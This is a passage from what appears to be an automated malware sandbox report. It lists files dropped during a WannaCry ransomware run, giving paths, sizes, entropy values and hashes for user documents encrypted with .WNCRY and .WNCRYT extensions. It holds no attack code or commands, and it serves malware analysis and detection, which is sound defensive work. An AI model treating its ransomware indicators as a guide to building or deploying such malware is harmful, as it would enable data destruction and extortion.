                                                                                                                        Preview:WANACRY!....S..l>.})....(L....~..#....V..X..F......z........To.........$....y.j..f({.S39\........1j...Z.......Q...c.hT...83:.._.<..........'^.\....w..*c.F.y.}U...g$...M.d..J..<..._..S...c..7f}3z..&U....R|v:\.b;#c....u@.....'.s..5.o?$Hk.....t......8.................:.b.sDO....s5.,:._.&......dFJ..).V.t.a.Z|}4U.I..n\..../b........P....G.EFhQ..b...e.E9..5.)."9.s</.L\..\W.D.v.Aq...6/.....L.H..j.......?...I..k.j.b.....5....Pl.......l-.....9T..;v?..*...UiGn.#.-5..rz}..2*...2.K.yl./..ZN^.?..tOM..8.S.R_.)qf.x...../..2...|...O-.R..2.........'.7...!......6.p-...I../Fz..`D.I.xN..........be.3e!......R.............Q. i..j4.].kP!.z.s...sn@-.s.......C..z.Q...sqfNYt..b.aR..ye6.rI.h.h.......#.+...+.6..z..`..I.V=......_.P.V.#....8......>...K.....j.".j......x.&.....a..K`.w...f..~.0=.LO...s.|.....|.]=....vD.......s&.z.......H.....4..Z-.`9?..#..<8..$/.z......F..G..#..>.i...~...1..7...}.....en'....,.7....4.....~T..~....gg.....O..\i.H..[X...+..vKh....|...q2.

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI\SQRKHNBNYN.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.836730031832351
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkr8nRfzDbRha+SGnusy2ZVIhxunP9Yahdipe1OIcipeLQJtomnHrkUq19RCisk:bkwRbhFnvZVbPdKe185iHwUq7Qisk
                                                                                                                        MD5:2263A47E6D80CF37D278B48ED768A7C8
                                                                                                                        SHA1:C7223252C98FC0F20C874EE1E8A74C30E76644EF
                                                                                                                        SHA-256:41D5732F11FE2074F40B5E46BFE71E2617C5B9D35C6309F41D0AB3D331996C4B
                                                                                                                        SHA-512:4ADB283457BA56C2DE1827D0D690BD37F6FB8B35EE0B8C23F596E15F6024419D6D74DF287B7495B225B3502C2C097E8A5B995E8F2086AC28EEAF0F23C45B15AF
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....S..l>.})....(L....~..#....V..X..F......z........To.........$....y.j..f({.S39\........1j...Z.......Q...c.hT...83:.._.<..........'^.\....w..*c.F.y.}U...g$...M.d..J..<..._..S...c..7f}3z..&U....R|v:\.b;#c....u@.....'.s..5.o?$Hk.....t......8.................:.b.sDO....s5.,:._.&......dFJ..).V.t.a.Z|}4U.I..n\..../b........P....G.EFhQ..b...e.E9..5.)."9.s</.L\..\W.D.v.Aq...6/.....L.H..j.......?...I..k.j.b.....5....Pl.......l-.....9T..;v?..*...UiGn.#.-5..rz}..2*...2.K.yl./..ZN^.?..tOM..8.S.R_.)qf.x...../..2...|...O-.R..2.........'.7...!......6.p-...I../Fz..`D.I.xN..........be.3e!......R.............Q. i..j4.].kP!.z.s...sn@-.s.......C..z.Q...sqfNYt..b.aR..ye6.rI.h.h.......#.+...+.6..z..`..I.V=......_.P.V.#....8......>...K.....j.".j......x.&.....a..K`.w...f..~.0=.LO...s.|.....|.]=....vD.......s&.z.......H.....4..Z-.`9?..#..<8..$/.z......F..G..#..>.i...~...1..7...}.....en'....,.7....4.....~T..~....gg.....O..\i.H..[X...+..vKh....|...q2.

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI\UOOJJOZIRH.png

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.781413058985187
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:5zro/PdMZ7wF49FZH3fnwhoT2zjnQwMkQbLweP5FhX5bbmXU:predMZ7wiDZHvnRyXQwbQbL5jhX5nmk
                                                                                                                        MD5:4062AA95A74360FE425B0A216DF2C22D
                                                                                                                        SHA1:0E6F07E55B2B64A25F8361AD8C335897401FBEA5
                                                                                                                        SHA-256:333A08DF1ADE1CEBC6042B63E3CB1DE0CDA6A05439D8021FAD3E928951D4E9E2
                                                                                                                        SHA-512:FC63AE67926BE48BE31C5D35E7863DBB2180CCD2C20F22D664763EE8DAD3227B0E5AF1145CB03BCB2EC921B2CA25F5A0E060EAE5B82336BF9E7F85DD2C6115DD
                                                                                                                        Malicious:false
                                                                                                                        Preview:.6.la.x..-.R..X..[..A.< .acn!..!s..JP.,.......o%.k-..O.#.([.....i`..*.5...#.....<....){u.Cc.O.c..;j....W.q.....+..X.I`J.U.m.H3fS/.,K..rK.;.?g.d..e..g..)..F......)a...)......-..c...m....;.h....Nrn.o'...y.g.b...vZ{.&+...k.Z\...)."....|i..e|{.0..P.........:.].%G..]...._...!{.gA...-...Jj+*..F....*gm.j..s..I..h..*..?7..@m..{...|Q..yJ"..V.Zt.x.....q.c.{.o...*'R..O....zOF"...5R.cU.q*....b...%I...3\.......-..a...K.[....$....:.....6c...R"..b..(.e...[..[.)y../e.".....0...h.{}..VI......^S...R....}.Tf.8.#z.x.J..w..?.E..}.@.`..Ds~y4......>.D..]........*...&_.4..I&..gX..J$..2w~..Fi./...3.....;.v=3...4..Z....P.z.yk.?.<......... .z.l...g.../a....5p.+...'R.........<.........|....+..$|.>...,....~......z.mL.]..S../....;o.U...L..\0.|...F0..e..$mv..O.#E.6.4@G.4....xY......j._..........B.2..E...M.-p.nG|=......0..?J;..2Z..F~...S.S....s.=.?.=....\.j.c.+........)..............0....V,".y. ..;.wO...?v....f..1...]H....y.GO...BP....@.8.K.<V..'@.....U5.R.....x...;

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI\UOOJJOZIRH.png.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8736500762874195
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkfJAVrfZnZXkyLJvWrT9bnTMarVGD8LFlMi6FlaK8r8TPXKwDB:bkfJAVVFhLJ+3hnZrVJLFJau4XNB
                                                                                                                        MD5:EC79224EA1981C604FED4B9DB7F37729
                                                                                                                        SHA1:2C58BBEFF5ED4626E4E495E214E00C2F4FB33D88
                                                                                                                        SHA-256:B14E5524761F5C8879DAA53DBB08EFB980217457B104D6582F0D9D05CCB1896C
                                                                                                                        SHA-512:1A996F500294827BEEFE960F30A546A968114C456480905B8F7D452C39D31BD58FE2A2AEB8C584F41653CE33D4AB109F7945EE1A12F0E9D5B256F4B84C25E675
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......%....G.2.t't..k.. ..AL..".f..w.a..F.f.h.qj5.....0gZ].Y.yr.......-.qpFW..H.....z.u\.1....4o.W3..1~.`...R..H...zQ.....Kq|......x{......;..3.F.rtAP..r....,..G.M.PnQr.o...g.+X...iP.$C..g.wG.\a...s.29...@.~.].xp..J4.h..".......H.y%...-R(9.2-....q............/...D'......].!..k......%...P.E$..`:E..~v.xo..G..W.{..\%...,.6..M.|..7,..>.Fa=..~A.B%.....!+E.D.........*.+...0....@.g.M?^=H.kE....l.. ~....5....k..^.P.M.&.6..JY....fF...n...2j..?.. ...T....I).X..O.O/..;.......Ir..3H..]6.._>.e......e^.P.;i3[.M.p~.........F.`......@._......}4i.ut..|S3.b...|)[..|+n..[...4.<..IG2.b8LN.U......kz..Y.2,@....GIw.&P.}~..\h2Z?...e.E..h..DJ.D.y....8..D<....c........$......\D.A.V."_O....5.hX..,.L...;l.1p..4]H$.S..q.F...w{:.d.ZO.U#.6......`.!..,=..+...M.,,..7.g.B`k .<0*.....%.6......U.e.Q.Q.9D..t...x.1.3 .RT...t^........ypv.#.W....+...).....R'.......F...T....@x.0x.[....b.-*.S.Q.58._Gi...JZo..@7TV.5.F.:..>.;..l..$.YN$.o}c}.V...."...I.*'n.oq.UO...."....2.<.O..

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI\UOOJJOZIRH.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8736500762874195
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkfJAVrfZnZXkyLJvWrT9bnTMarVGD8LFlMi6FlaK8r8TPXKwDB:bkfJAVVFhLJ+3hnZrVJLFJau4XNB
                                                                                                                        MD5:EC79224EA1981C604FED4B9DB7F37729
                                                                                                                        SHA1:2C58BBEFF5ED4626E4E495E214E00C2F4FB33D88
                                                                                                                        SHA-256:B14E5524761F5C8879DAA53DBB08EFB980217457B104D6582F0D9D05CCB1896C
                                                                                                                        SHA-512:1A996F500294827BEEFE960F30A546A968114C456480905B8F7D452C39D31BD58FE2A2AEB8C584F41653CE33D4AB109F7945EE1A12F0E9D5B256F4B84C25E675
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......%....G.2.t't..k.. ..AL..".f..w.a..F.f.h.qj5.....0gZ].Y.yr.......-.qpFW..H.....z.u\.1....4o.W3..1~.`...R..H...zQ.....Kq|......x{......;..3.F.rtAP..r....,..G.M.PnQr.o...g.+X...iP.$C..g.wG.\a...s.29...@.~.].xp..J4.h..".......H.y%...-R(9.2-....q............/...D'......].!..k......%...P.E$..`:E..~v.xo..G..W.{..\%...,.6..M.|..7,..>.Fa=..~A.B%.....!+E.D.........*.+...0....@.g.M?^=H.kE....l.. ~....5....k..^.P.M.&.6..JY....fF...n...2j..?.. ...T....I).X..O.O/..;.......Ir..3H..]6.._>.e......e^.P.;i3[.M.p~.........F.`......@._......}4i.ut..|S3.b...|)[..|+n..[...4.<..IG2.b8LN.U......kz..Y.2,@....GIw.&P.}~..\h2Z?...e.E..h..DJ.D.y....8..D<....c........$......\D.A.V."_O....5.hX..,.L...;l.1p..4]H$.S..q.F...w{:.d.ZO.U#.6......`.!..,=..+...M.,,..7.g.B`k .<0*.....%.6......U.e.Q.Q.9D..t...x.1.3 .RT...t^........ypv.#.W....+...).....R'.......F...T....@x.0x.[....b.-*.S.Q.58._Gi...JZo..@7TV.5.F.:..>.;..l..$.YN$.o}c}.V...."...I.*'n.oq.UO...."....2.<.O..

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI\VAMYDFPUND.pdf

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.813765994614999
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bXJ/lcYTFSv1e/RX9Zqj3PsgC/VHm/YA7KuflfoR:bPcWvRNZqj/vIm/Y4KudQ
                                                                                                                        MD5:8DEF075B6D5EFA4F59A7D67DFA889802
                                                                                                                        SHA1:BC642CC2A53D7C47037470BD2A80CEAD22B8F284
                                                                                                                        SHA-256:0F2E961194DCFE3AB7189BCF20898BE70B74115437D8D73D00C94089197F29DE
                                                                                                                        SHA-512:146D739C9808A9FE5327871C795782B8BB2DC594715DAD9F81A6906B6D618511B5F560C6D0F4584867BA852190EC1C141D4A14D2B1E28CA6BB9B5ADEF6F40042
                                                                                                                        Malicious:false
                                                                                                                        Preview:Y..@..ez.KN.2a.).}..W.N..$-....J.p.6w.7.P....5.4.4.7.R.....]1?.NSEz.j...k.#...[..X.5h....H.....G.e.l.%.gs.i$4.....S.=....%SP....X.G.RWY.....Mc..;/\1...uB..D.&....?..g.#.H....k.n.....=]...\...v%..^.*.F.ZG..|..I.%2).yh.q.....].......T.\/b...'...'Y....~..;....!....(....AH.O.....a...j.U.:..xL....`..'.&v.'....c.r..e.Q....a.c..b[.w6.".T..j.)Hp...._o.[.zQP.-...QI...`.....:.....T..[.$'.B.=....]I@...|..d|L~'W...W.VB.......yo.K......=Y....r.g.T...@.9....&G....4\.K..x9....m....f....eZo2c.uu..\...y.w.....eA.<(..Iz.RB&..JN.@..p./.9..t..E]<o........"@.....R...r.a.H..h0..............y.T....%9=.....E#IQv.BY7S..'Pn.;oX./#.....>..<.....}5VI.."6.3w+GG.oB{...y..Xqp.....EN.:.qEs..tJ..>F./v [.R..g.).o.(.m.^..~.C..'..-Z...t..5.K.%.~.......o...^.t.0*.B.F.gP.....=@&V@...9..k?.....r..0.Zr.Or....tE.L....l/5@.h..4..^1e.......Gry.I %J.....&..._..W.....K8....W..t.*R.?....`T4...4|U.O/f.......Y.z*'......<..C..:5.Q7.x;.H]....A\...............NV*..`6.O.L.f.~......D........

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI\VAMYDFPUND.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8390850934141225
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk/S62JALcc9RqOK8IjtzROyb0je7ScDJGzWYYhJ2ibGZsIAAeMi2sLbsaIGj4:bk/S6kALfqf5pgISdIRGZsdf4
                                                                                                                        MD5:175C63066DF6BE71E16F281258F13B54
                                                                                                                        SHA1:D94EAC64A0174B0E5B24797A4A6745FFADD95336
                                                                                                                        SHA-256:42DA4EEFFD013ED6D4CFF9585EB38D999FD6BE4C2F26D36053089CCC91AE6842
                                                                                                                        SHA-512:4F5CAFBB6F0151FDBCB6CB4F7EE9BD03D2D7C789B86DFCE69B8F091A3E4BDBBF0CFC0543AFA299E04660A967072FCBB649FE2494BE6EDBB02DA2D0216BFF9C94
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......6?.R.......U."[}i..U.KS.[......6.\......e..t..x.3.u`.`..._....{..4.^....g@M..:........~+..e5,.K...#......G....*8.v...UMoX....Y...GK%.......{..j.`....;/c..8.l0V..)^....~s.../'......~.[.y.......&.....YT....M<.]..=...."l.......\o!.^....wi............`.+.ESD@.k..~0.,w..6.q9Q..]...m.....Yl..M.0&.Z6..LT..#d.K.A...D....[.....XCr.9B..k.7.WX.N.."?._.n.H....M.s...iq.....@.....JI...DW.S...2...&..p..P...7.{3...}...A7_...#......sf'........Z5..........g!.....c..U...FC.w...#zGu..I.a.._..9.......)....S...PrJB...)'...... ]c...Z.....C.8.cJ..]{.a...p...+....C..M%..A...`P-..{7U.H,.x.&.......;8....w.P./.dZ.Z(......}...?.'.....a.H(5O..4.....G,g.p."....G.%...M.*.4.%.3@......F..4.'Fr*.w{.&P.....l......;hr..Y..A\"`...`.J.Xd...B3...P...A].......BPP~.RBE)P..W|-..%r.a....&P.I.o..s..?....;..M.....E....7arT,)......q...6|...W0.3g.m......]{.8*^v'..?/.0-..K..=n....I.*.7.Y....8J..$.G...X..-.;.j.fS..5o...y../.f.1}.0.....6....()3~..../.n..Fk..aQ.^].

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI\VAMYDFPUND.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8390850934141225
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk/S62JALcc9RqOK8IjtzROyb0je7ScDJGzWYYhJ2ibGZsIAAeMi2sLbsaIGj4:bk/S6kALfqf5pgISdIRGZsdf4
                                                                                                                        MD5:175C63066DF6BE71E16F281258F13B54
                                                                                                                        SHA1:D94EAC64A0174B0E5B24797A4A6745FFADD95336
                                                                                                                        SHA-256:42DA4EEFFD013ED6D4CFF9585EB38D999FD6BE4C2F26D36053089CCC91AE6842
                                                                                                                        SHA-512:4F5CAFBB6F0151FDBCB6CB4F7EE9BD03D2D7C789B86DFCE69B8F091A3E4BDBBF0CFC0543AFA299E04660A967072FCBB649FE2494BE6EDBB02DA2D0216BFF9C94
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......6?.R.......U."[}i..U.KS.[......6.\......e..t..x.3.u`.`..._....{..4.^....g@M..:........~+..e5,.K...#......G....*8.v...UMoX....Y...GK%.......{..j.`....;/c..8.l0V..)^....~s.../'......~.[.y.......&.....YT....M<.]..=...."l.......\o!.^....wi............`.+.ESD@.k..~0.,w..6.q9Q..]...m.....Yl..M.0&.Z6..LT..#d.K.A...D....[.....XCr.9B..k.7.WX.N.."?._.n.H....M.s...iq.....@.....JI...DW.S...2...&..p..P...7.{3...}...A7_...#......sf'........Z5..........g!.....c..U...FC.w...#zGu..I.a.._..9.......)....S...PrJB...)'...... ]c...Z.....C.8.cJ..]{.a...p...+....C..M%..A...`P-..{7U.H,.x.&.......;8....w.P./.dZ.Z(......}...?.'.....a.H(5O..4.....G,g.p."....G.%...M.*.4.%.3@......F..4.'Fr*.w{.&P.....l......;hr..Y..A\"`...`.J.Xd...B3...P...A].......BPP~.RBE)P..W|-..%r.a....&P.I.o..s..?....;..M.....E....7arT,)......q...6|...W0.3g.m......]{.8*^v'..?/.0-..K..=n....I.*.7.Y....8J..$.G...X..-.;.j.fS..5o...y../.f.1}.0.....6....()3~..../.n..Fk..aQ.^].

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI\WKXEWIOTXI.docx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.808947189608471
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:KebZPJj0JL5XoJ6YGznHsG5YXPEP61288Fn8PhQW:vPgJLqJ6hHsAicPOGn8JQW
                                                                                                                        MD5:CC3779D0EDA73EBA4A52B46B6F05BE88
                                                                                                                        SHA1:518449E8CC9C8E6138470AF617CB2739CBADF3C0
                                                                                                                        SHA-256:01332241AE29AA88C0CB320C31EB6CC6916E181A7A46B8B69D14F5CDDDC24C5B
                                                                                                                        SHA-512:CDD4B68A207E150F9B947A5BFF6E2E7320010EAD8B1FE0A31030CF10F4F271E21ED0B94DDE886ACA1DB905B626258257BCCCA6086C417351C62676AFFE3157EE
                                                                                                                        Malicious:false
                                                                                                                        Preview:.1?N..|.{?..N.i>mRW.....M|L..8...........+.b....(j.7...tr.#..\.qEty..L..}|.b.yS.8Ac.F(.....8..7O...<......8.>l....2..p..szj..U.....Sj.A/[.1.f1L...Q.....y....#,...{......G)..@..~...D....g..Z.9....)(.......e..Kp....l../.O%.2.i>..A..N%^..W...N(.BC....j....!.W]...B.j.......)[n..`*..#..[i.Yo...%\.Y%........R..k.h.....b.M.fY&i......gl...Gap......a...4W......2:A.&.....<.0....aI.I.=(B.....I...{y"[....b...2.i4.".._..v..%~B...d'.'./......o..`.......<.........4".fb....CGCrh?...i......5....M~.OP.@.......f.oHNe...0..0fr....Q..m.}..../.m[...X0....iAf..!.i...q.0.10....w..9.>.#..\. .:..?..2l..0.1...........O_..Z.{8.;>V.4...>.|.3..o...Xj..s..U.K..X9.[...+*W.....y.d.Ro.....E.B....G........[L..c...nk...b..]..BDnW.<.I.:H=d...y........g. .aJ.)t..c.>k...MY..ol.e-].1S.c7....'....., .M.>G...>.....B..y.->...!Y..?..p...x7.e..S..GY.7(..\.&;:}o.d..8..8.S.....?.AR..?,..t/.....'z&M..+E.x..W .Y..*.J/.P...+.M.....B{q.9.Mz[..,1H?......1b2.`s...'..p_u..5K.D

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI\WKXEWIOTXI.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.856856402285684
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkxGOJng280wqQDo7+Ru//chB4TAP1qsheZ1GxLt/eHgU9ftk7K1K:bkng28XxC+RuHchaT0wMMGfeHhft1K
                                                                                                                        MD5:ED9D461A65FB77BF4848A43D5F0E74AB
                                                                                                                        SHA1:F4CE1F60F493F6D3B235AEFEDF06DC0F5F46EF46
                                                                                                                        SHA-256:62F11E67A600AE08E6B4773B15787A608175C0631579542B5407033A922A2A1C
                                                                                                                        SHA-512:12A79ED51D2C3C1B59A88568D16F9CD7A7A461AD24A353CD5862083D25DA3CFFE530E754ABF26C902A172B5B9C3ACF62766149F5702B52A0442CA19215DFD7C6
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......m.......`...;.l..^.%+n4?.>.@..s.4:U..d...IS..gRK.L..R`.Z.X....,B.}.).....lB~.)9.gQ.9+~..].0.>w......[:}AD...:.6..a.L..Kw&...;zc.p..z....8.....=:..f.o.WtV.+|A.k..Ps?.j,~...7...<F...n.I.ui.>.....C...n6%d= .ct<.........boh....UJ?.C-._i..H/.......................5....{.z..sp.H....Xc.n.[..........9k.5V...3.G..........Jr|...r......-.!..`.K!.|.. ....$.....8HhW(.........W.../....udU...........`.;.......f...g....fV.#Z4.J.]w.R..WJ..#.A.-.....k../n..?7..|.../.0...A.WV.8...>.Fu.....Uh.w..Lm.d..4E.......VJ.......TP.W.Gyk9]........\..7..>.;......'...*.i.....N..).!.......+G....<..ut.....>{..|w..G.Q.3.?;?...S%N...la3..@.gI<..g...W..[.#p.e...S|..:>tj~..=..W.....E....jA>}.JT....82.3Y.H.J8.i....s.YH2...`.h.(.r.X.i..j..^.C..$..qB......K.9=|v.X.....0.cH.4r..Z.2#SIh6Y._..h....".......(..$1eG...FAM..-h_5.l.nu.....(...{.3~.;..O...#\...9-.3..../4.........'D..,....6Kf*m....(..."1...8."<>.Od0.#..Ydw..q ...... ........Y..q.K...].R.>..6(..w.xU...7.w..N.

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI\WKXEWIOTXI.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.856856402285684
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkxGOJng280wqQDo7+Ru//chB4TAP1qsheZ1GxLt/eHgU9ftk7K1K:bkng28XxC+RuHchaT0wMMGfeHhft1K
                                                                                                                        MD5:ED9D461A65FB77BF4848A43D5F0E74AB
                                                                                                                        SHA1:F4CE1F60F493F6D3B235AEFEDF06DC0F5F46EF46
                                                                                                                        SHA-256:62F11E67A600AE08E6B4773B15787A608175C0631579542B5407033A922A2A1C
                                                                                                                        SHA-512:12A79ED51D2C3C1B59A88568D16F9CD7A7A461AD24A353CD5862083D25DA3CFFE530E754ABF26C902A172B5B9C3ACF62766149F5702B52A0442CA19215DFD7C6
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......m.......`...;.l..^.%+n4?.>.@..s.4:U..d...IS..gRK.L..R`.Z.X....,B.}.).....lB~.)9.gQ.9+~..].0.>w......[:}AD...:.6..a.L..Kw&...;zc.p..z....8.....=:..f.o.WtV.+|A.k..Ps?.j,~...7...<F...n.I.ui.>.....C...n6%d= .ct<.........boh....UJ?.C-._i..H/.......................5....{.z..sp.H....Xc.n.[..........9k.5V...3.G..........Jr|...r......-.!..`.K!.|.. ....$.....8HhW(.........W.../....udU...........`.;.......f...g....fV.#Z4.J.]w.R..WJ..#.A.-.....k../n..?7..|.../.0...A.WV.8...>.Fu.....Uh.w..Lm.d..4E.......VJ.......TP.W.Gyk9]........\..7..>.;......'...*.i.....N..).!.......+G....<..ut.....>{..|w..G.Q.3.?;?...S%N...la3..@.gI<..g...W..[.#p.e...S|..:>tj~..=..W.....E....jA>}.JT....82.3Y.H.J8.i....s.YH2...`.h.(.r.X.i..j..^.C..$..qB......K.9=|v.X.....0.cH.4r..Z.2#SIh6Y._..h....".......(..$1eG...FAM..-h_5.l.nu.....(...{.3~.;..O...#\...9-.3..../4.........'D..,....6Kf*m....(..."1...8."<>.Od0.#..Ydw..q ...... ........Y..q.K...].R.>..6(..w.xU...7.w..N.

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI\ZTGJILHXQB.xlsx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.791778026707262
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:/DFPUIiKeVzN/++wLzxCQOE+TwB6zKUdTV7WwzybJd:/RtKzNWLtCTwBtGVaDbz
                                                                                                                        MD5:4CD4C9278BC634CDAB4E34B0A628993F
                                                                                                                        SHA1:EEDE85FC528AC7EC2427A97FEC6D61ECFAE768CE
                                                                                                                        SHA-256:BF2F193FCCDA70F7AFD96DA390E6B068A30848174F80377F27BE34A98A6EB04E
                                                                                                                        SHA-512:B6BCA78C063E975063A367CC9928B5B25A243B0F4CF7D40D0A21F40A13AF5BD063AAFFB9E1B05A244AFADBAA78FEE19D20BCC77410A3A8DB7AA3D3F58A100082
                                                                                                                        Malicious:false
                                                                                                                        Preview:]....$.6..J=.:.....Y..V._.g.h+8.9@....... .1.2.{.v...(..Fe{ ....q.".._.BUF..F.............GA5(..jm.............%FA..X...'.......k.W.0.a...#...T._.....|...zy...jQiP.%{i^..b/Y...5.r.YX,.2...(]..apr.]q.DpI..6%....N...p......H...&v.c.<.v..N.$...C<K.l.`..6HA.~B....k'..A...@.fj.......(.O...p..3r...>H.....&2h=HP....\B,........>.rB.....p.S.a...Y:)....D..J...:.t[.H..=....-.XD.h...#.X.Ih.......A..3 ...-l[s...+drz.I...GR..s..S.G..Lf.........L.f...&.[.K..c..Qf.'i..*4,.G=.&w.z..7.x(A..f.\..n..kUS....I........W' .U4..7..X..Z.V..8.....!.i."T..>.~JSi..U-.]..L:..._.4m.ud.Ee.....w..;.b;.m.oF..s..2. o...+>......x.{.t...X..E..e.d.)......eO9v_..&e...Jps..JE.....4.....6..R/Q5....o.:.`@........D......T.U..K......../..bo.%..qd....F._f.{q_.&.T..j.C.....WU....g^..:-......u*H...r........^...4.....I.s..;.?..4[5.Z......J....4.sC.He..)'.{.J].{...o...(X. 6%.....b8..&.8..J...{....W..O.N^.j>..hf.~y.... 1W.+....W.W..*..Bi.!...ZP.'4..Z2.2...4e{.NK..6?...uv.@.!.+.)" ..{.

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI\ZTGJILHXQB.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.864743517979387
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkr/Y7G7q2BPqii2LiTolOx6KcQz7DhgyoXtBYa3d17NcruDktUQW:bkrlBil7aOwKcQz7DLo1djcW
                                                                                                                        MD5:0685F20DD0364DE6DE24AEB015A630DC
                                                                                                                        SHA1:3D4EE35AE69E851AE9DCFAECE20D86FDDE8A64FC
                                                                                                                        SHA-256:D0873AEEF089972007FDA46B1483AEFC4CC14ABA4A985EB1CF9677B3D1F2D69F
                                                                                                                        SHA-512:F7A8E25C2D7A0952F8845043D3319A82E0C45A7B2F21652890E4E6A3DFCB704EAE26D0213F2CFA64B815FCA8F9324B4827441E950BD38A305EB191961C321453
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....>.a.$....c.7t.k...F'.E. .^....0ZO8..?.R....q..b.R.a.#..{p.. .b......e.]7......(|i.......k."Y..WQ.....UP......j.3e./KS..w...!.."U.:.9.$<_..N...%.."o..5W...KDS2......$.F....-.gC..x.x|..b9....5.t.........E.SS1.....iC}...w./T......zu.:....?e..$................r..I.*.4K$K...J.......&...X...T.Q.S...\k.B..._&F.......@.....Z......bue..NfDV...".\.YI.K*.[.)/..6l.n...H..B...M~}.c...?..w.._d.B......y....5.c....!j...N.....q...>w.t...U.....M...P....A'....N.D...kzR..}.|Gv..Sk...[8.>s..'..B.v..D.C..`..GsT.\.&..q*..u.LQ9..(..<p..a.>...F"..4...o.B.?"lN..z....!.;.l.Z{.....4..j..=....9R]....w..L......&.....j2.....e..+......@m..X.;.S..5P^..@.5...n.o..c......H.b.*.t.....n......=!.IEO.........$T".(..f4....s.B...l..X.E.....".j.l..c.!6b....i.%....?.(/...nv%g.~...i........}...u......c..w/w..H.;..CQi.....cv).B.....q.^&.X<.3.E...u.xW.'..3..s.....e..._.....j.I.+Q..|}+..A..g\.9R..=.....X8./..~vh5K.]n.V..r...v8...F`.@G`..J.....H.....@...2...<)'....bg.4..=..V

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI\ZTGJILHXQB.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.864743517979387
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkr/Y7G7q2BPqii2LiTolOx6KcQz7DhgyoXtBYa3d17NcruDktUQW:bkrlBil7aOwKcQz7DLo1djcW
                                                                                                                        MD5:0685F20DD0364DE6DE24AEB015A630DC
